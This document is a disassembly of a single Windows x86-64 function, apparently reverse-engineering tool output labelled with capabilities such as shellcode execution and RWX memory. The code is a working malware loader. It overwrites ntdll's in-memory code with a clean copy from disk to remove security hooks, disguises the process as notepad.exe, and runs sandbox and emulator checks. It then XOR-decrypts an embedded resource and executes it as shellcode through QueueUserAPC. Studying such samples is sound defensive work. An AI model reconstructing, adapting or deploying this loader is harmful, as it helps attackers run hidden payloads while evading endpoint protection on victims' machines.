Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x428
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x390], xmm6
mov dword [rbp + 0x3c0], ecx
mov qword [rbp + 0x3c8], rdx
call fcn.140002b10
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x318], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x310], rax
mov dword [rbp + 0x388], 1
jmp 0x14000156a
mov dword [rbp + 0x38c], 0
mov eax, dword [rbp + 0x388]
mov dword [rbp + 0x384], eax
jmp 0x140001540
mov edx, dword [rbp + 0x384]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x134], edx
mov eax, dword [rbp + 0x134]
imul eax, eax
imul eax, dword [rbp + 0x134]
add dword [rbp + 0x38c], eax
mov eax, dword [rbp + 0x384]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x384], eax
cmp dword [rbp + 0x384], 0
jne 0x1400014d5
mov eax, dword [rbp + 0x38c]
cmp eax, dword [rbp + 0x388]
jne 0x140001563
mov eax, dword [rbp + 0x388]
mov dword [rbp + 0x138], eax
add dword [rbp + 0x388], 1
cmp dword [rbp + 0x388], 0xce
jle 0x1400014bd
mov ecx, 0x17a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x308], rax
mov ecx, 0x17a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x300], rax
mov ecx, 0x17a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x380], 0
jmp 0x1400016a6
mov dword [rbp + 0x37c], 0
jmp 0x140001692
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x380]
movsxd rcx, eax
mov rax, rcx
shl rax, 6
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x308]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x37c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x380]
movsxd rcx, eax
mov rax, rcx
shl rax, 6
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x300]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x37c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x37c], 1
cmp dword [rbp + 0x37c], 0x3e
jle 0x1400015cb
add dword [rbp + 0x380], 1
cmp dword [rbp + 0x380], 0x17
jle 0x1400015bc
mov dword [rbp + 0x380], 0
jmp 0x140001783
mov dword [rbp + 0x37c], 0
jmp 0x14000176f
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x308]
add rdx, rax
mov eax, dword [rbp + 0x37c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x300]
add rdx, rax
mov eax, dword [rbp + 0x37c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x380]
movsxd rdx, eax
mov rax, rdx
shl rax, 6
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x2f8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x37c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x37c], 1
cmp dword [rbp + 0x37c], 0x3e
jle 0x1400016d1
add dword [rbp + 0x380], 1
cmp dword [rbp + 0x380], 0x17
jle 0x1400016c2
mov rax, qword [rbp + 0x308]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x300]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2f0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x370], rax
cmp qword [rbp + 0x370], 0
jne 0x140001841
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x370], rax
cmp qword [rbp + 0x370], 0
je 0x140001b67
mov dword [rbp + 0x36c], 0
mov dword [rbp + 0x368], 1
mov dword [rbp + 0x364], 0
mov dword [rbp + 0x2ec], 0x210
jmp 0x1400018ac
mov edx, dword [rbp + 0x36c]
mov eax, dword [rbp + 0x368]
add eax, edx
mov dword [rbp + 0x2ac], eax
add dword [rbp + 0x364], 1
mov eax, dword [rbp + 0x368]
mov dword [rbp + 0x36c], eax
mov eax, dword [rbp + 0x2ac]
mov dword [rbp + 0x368], eax
mov eax, dword [rbp + 0x364]
cmp eax, dword [rbp + 0x2ec]
jl 0x140001879
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x110]
mov rax, qword [rbp + 0x2f0]
mov r10, qword [rbp + 0x370]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x2e0], rax
mov dword [rbp + 0x35c], 0x2b2
mov dword [rbp + 0x360], 0x2b2
jmp 0x14000191c
sub dword [rbp + 0x35c], 1
sub dword [rbp + 0x360], 1
cmp dword [rbp + 0x360], 0x14
jg 0x14000190e
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x2c8], rax
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rdx
mov qword [rbp + 0x2b8], rax
mov word [rbp + 0x35a], 0
jmp 0x140001b4f
mov rax, qword [rbp + 0x2b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2b8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x35a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b3e
mov dword [rbp + 0xd8], 0
mov rax, qword [rbp + 0x2b0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x2b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xd8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2b0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x2b0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2c8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0xd8]
mov rax, qword [rbp + 0x2b0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x2b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xd8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x35a]
add eax, 1
mov word [rbp + 0x35a], ax
mov rax, qword [rbp + 0x2b8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x35a], ax
jb 0x140001a13
mov dword [rbp + 0x354], 0xffffffff
add dword [rbp + 0x354], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x122
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cb0
movq rax, xmm0
mov qword [rbp + 0x2a0], rax
cmp dword [rbp + 0x354], 0xb3
jle 0x140001b71
mov dword [rbp + 0xdc], 0
mov rax, qword [rbp + 0x318]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x298], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xe0]
lea rax, [rbp + 0xdc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x298]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0xe8]
add rax, 0x3c
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x290]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x288], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x280], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x280]
mov r9d, 0x3000
mov r8d, 0x41f
mov edx, 0
call rax
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
je 0x140002a42
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov ecx, 0
call rax
mov dword [rbp + 0x274], eax
cmp dword [rbp + 0x274], 0xffffffff
je 0x140002a42
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x260], rax
cmp qword [rbp + 0x260], 0
jne 0x140002a42
mov dword [rbp + 0x25c], 0x263
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
call rax
mov dword [rbp + 0x24c], eax
mov eax, dword [rbp + 0x25c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x250]
call rax
mov dword [rbp + 0x248], eax
mov eax, dword [rbp + 0x248]
sub eax, dword [rbp + 0x24c]
cmp eax, 0x231
jbe 0x140002a42
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x240]
mov ecx, 0
call rax
mov dword [rbp + 0x23c], eax
cmp dword [rbp + 0x23c], 0xffffffff
je 0x140002a42
mov qword [rbp + 0x230], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x228]
mov r9d, 0x3000
mov r8d, 0x3e0
mov edx, 0
call rax
mov qword [rbp + 0x230], rax
cmp qword [rbp + 0x230], 0
je 0x140002a42
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
call rax
mov dword [rbp + 0x21c], eax
mov ecx, 0x22a
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x220]
call rax
mov dword [rbp + 0x218], eax
mov eax, dword [rbp + 0x218]
sub eax, dword [rbp + 0x21c]
cmp eax, 0x1f8
jbe 0x140002a42
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov ecx, 0
call rax
mov dword [rbp + 0x20c], eax
cmp dword [rbp + 0x20c], 0xffffffff
je 0x140002a42
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x200], rax
cmp qword [rbp + 0x200], 0
je 0x140002003
mov rax, qword [rbp + 0x200]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov ecx, 0
call rax
mov dword [rbp + 0x350], eax
cmp dword [rbp + 0x350], 0xffffffff
je 0x140002a42
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0
je 0x140002a42
mov rax, qword [rbp + 0x1f0]
mov edx, 0x52b
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x1ec], eax
mov rax, qword [rbp + 0x310]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e0], rax
lea rax, str.ZFQXLBXYKR
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x1e0]
lea r8, str.ZFQXLBXYKR
mov ecx, 0
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x310]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x1d8]
mov r8, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x310]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x310]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x310]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1d8]
mov r8, qword [rbp + 0x1c0]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1b8]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1d8]
mov r8, qword [rbp + 0x1c0]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1a8]
mov r9, qword [rbp + 0x1b0]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x318]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x1d8]
mov r8, qword [rbp + 0x1c0]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rbp + 0x198]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x348], 0
mov dword [rbp + 0x344], 0
mov ecx, 0x2be0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x190], rax
mov ecx, 0x2be0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x188], rax
mov ecx, 0x2be0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x180], rax
mov dword [rbp + 0x340], 0
jmp 0x14000235b
mov dword [rbp + 0x33c], 0
jmp 0x140002347
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x340]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x190]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x33c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x340]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x188]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x33c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x33c], 1
cmp dword [rbp + 0x33c], 0x23
jle 0x140002286
add dword [rbp + 0x340], 1
cmp dword [rbp + 0x340], 0x4d
jle 0x140002277
mov dword [rbp + 0x340], 0
jmp 0x140002438
mov dword [rbp + 0x33c], 0
jmp 0x140002424
mov eax, dword [rbp + 0x340]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x190]
add rdx, rax
mov eax, dword [rbp + 0x33c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x340]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x188]
add rdx, rax
mov eax, dword [rbp + 0x33c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x340]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x180]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x33c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x33c], 1
cmp dword [rbp + 0x33c], 0x23
jle 0x140002386
add dword [rbp + 0x340], 1
cmp dword [rbp + 0x340], 0x4d
jle 0x140002377
mov rax, qword [rbp + 0x190]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x180]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0xbf9bfc17980cf059
movabs rdx, 0xfa13bab1fd3af48c
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x26f53afffe005aa
movabs rdx, 0xaeb7086480f05422
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xe0009a2d47624abe
movabs rdx, 0xdc17c6f6c29a3ee0
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xf50420cba39bdc17
movabs rdx, 0x5d15b9bb9ee2f9
mov qword [rbp - 0x12], rax
mov qword [rbp - 0xa], rdx
movabs rax, 0x1d5b0c9e1576224a
movabs rdx, 0x9421055f3fb854a9
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xa6571d49c208a0a5
movabs rdx, 0x2db0c0789e6aac18
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xb75191c149a3b214
movabs rdx, 0x41308eec44737562
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xa89c40b316e7c58d
movabs rdx, 0x6a5e3123bbbef0aa
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x4075cc3ce0d5eda0
movabs rdx, 0x47a3289eb2915ff6
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x6151106ef1b1e0b8
movabs rdx, 0x9a26def2ba215a12
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x6aed45aa9a26de
mov qword [rbp + 0xcd], rax
mov dword [rbp + 0x34c], 0
jmp 0x140002658
mov eax, dword [rbp + 0x34c]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x348]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x34c]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x348], 0x3c
jne 0x140002605
mov dword [rbp + 0x348], 0
jmp 0x140002651
add dword [rbp + 0x348], 1
mov qword [rbp + 0x330], 0
mov dword [rbp + 0x13c], 0xb0
mov dword [rbp + 0x338], 1
jmp 0x140002643
mov eax, dword [rbp + 0x338]
cdqe
add qword [rbp + 0x330], rax
add dword [rbp + 0x338], 1
mov eax, dword [rbp + 0x338]
cmp eax, dword [rbp + 0x13c]
jle 0x14000262d
add dword [rbp + 0x34c], 1
mov eax, dword [rbp + 0x34c]
cmp eax, 0x63
jbe 0x1400025c8
mov dword [rbp + 0x34c], 0
jmp 0x1400028d0
mov eax, dword [rbp + 0x34c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x344]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x34c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x344], 0x63
jne 0x1400026cc
mov dword [rbp + 0x344], 0
jmp 0x1400028c9
mov dword [rbp + 0x32c], 0xffffffff
mov ecx, 0x16f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x150], rax
add dword [rbp + 0x32c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x150]
add rax, rdx
movsd xmm1, qword [0x140006168]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x150]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x150]
add rax, rdx
movq xmm1, qword [0x140006170]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x32c], 0x2dc
jle 0x1400026e7
add dword [rbp + 0x344], 1
mov ecx, 0x1078
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x148], rax
mov ecx, 0x1078
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x328], 0
jmp 0x14000284f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x328]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x148]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x328], 1
cmp dword [rbp + 0x328], 0x20e
jle 0x1400027c5
mov dword [rbp + 0x328], 0
jmp 0x1400028bd
mov eax, dword [rbp + 0x328]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x148]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x328]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x140]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b00
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x328], 1
cmp dword [rbp + 0x328], 0x20e
jle 0x14000286b
add dword [rbp + 0x34c], 1
cmp dword [rbp + 0x34c], 0x731f
jle 0x140002676
mov rax, qword [rbp + 0x1a0]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x310]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x310]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x178]
mov r9, qword [rbp + 0x170]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0x914
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x160], rax
mov dword [rbp + 0x320], 0
mov dword [rbp + 0x15c], 0
mov dword [rbp + 0x324], 0
jmp 0x1400029d3
